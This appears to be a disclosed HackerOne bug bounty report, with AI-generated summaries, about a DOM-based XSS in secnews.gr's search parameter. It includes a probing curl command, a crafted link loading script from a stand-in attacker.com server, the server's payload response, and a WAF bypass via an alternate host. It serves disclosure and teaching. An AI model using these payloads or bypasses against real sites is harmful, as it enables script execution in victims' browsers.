DOM based XSS in search functionality
The search query parameter was inserted into an HTML attribute without proper encoding, allowing an attacker to break out and inject tags. By abusing a JavaScript plugin, the attacker could turn this into DOM-based XSS that bypasses browser XSS filters and execute script when the victim clicks.
Originally disclosed on HackerOne
- Fixed in 34 days
- Disclosed after 2 months
Summary by the researcher
When researchers don't understand english well, it's inconvenient, but at least it only hurts themselves. When the security team is not good at english, unfortunately it hurts all the researches.
Big thanks to the team for adjusting the wording in the end.
The report
Overview
Search query is inserted into the HTML of the page without proper encoding. Specifically, a single-quote is not html-encoded (albeit escaped, even twice), which allows the attacker to break out of the HTML attribute and inject arbitrary tags.
curl -s 'https://www.secnews.gr?s=%27%3E%3Ctest%3E%3C' | egrep -o ".{47}?<test>.*?>"
<div id="content" data-currentquery='{"s":"\\'><test><"}' class="main-content articles list sidebar-right non-full">
Impediments
Although aformentioned injection point can be used to carry out XSS attacks, there is a couple of complications.
- The website is protected by the CloudFlare WAF which blocks any suspicious requests. This can be circumvented though by instead targeting
secnews.wpengine.com. - The website has
X-XSS-Protectionheader set which enables very powerful XSS Auditor in Google Chrome. - The potential victim is administrator on a web security website. They are likely to have some kind of an XSS protection plugin installed in their browser.
Solution
One of the javascript plugins (colorbox) used by the website has a code path that inserts response from arbitrary URL into DOM tree. It allows the attacker to go from regular XSS to DOM based XSS that anti-XSS tools are not able to detect.
See a proof-of-concept video: F119742
-
The attacker lures the victim to visit this link:
https://www.secnews.gr/?s=%27%20class%3Dcolorbox%20href=/attacker.com:9999%3E -
To any incoming requests the server at
attacker.com:9999responds with:HTTP/1.1 200 OK content-length: 39 access-control-allow-origin: * access-control-allow-headers: x-requested-with <script>alert(document.domain)</script> -
The victim clicks anywhere below the navigation bar.
-
Malicious script gets downloaded and executed.
Security Implications
Although this exploit requires the victim to click, I'm confident (and hope you are too) that it's only a question of time and effort to find a code path that executes injected script without user interaction.
You mention in the policy that you don't consider any XSS significant enough for bounty. Although I think that you underestimate the power of XSS, it's your call and I've had a lot of fun anyway.
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the search parameter was placed into an HTML attribute with insufficient encoding, and a JavaScript plugin later inserted attacker-controlled content into the page.
Impact
An attacker could execute arbitrary script in the victim's browser, though the exploit required a click and was limited by browser XSS protections and the need to bypass a WAF.
What the attacker needed
Victim clicks a link; attacker-controlled server; bypass WAF via alternate host
How it was found
- The attacker lures the victim to visit a crafted link.
- The attacker's server responds with a script payload.
- The victim clicks anywhere below the navigation bar.
- The malicious script is downloaded and executed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The website put the search term into a page attribute without proper encoding. An attacker could craft a link that makes the page run their own JavaScript code, which is called cross-site scripting (XSS).
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.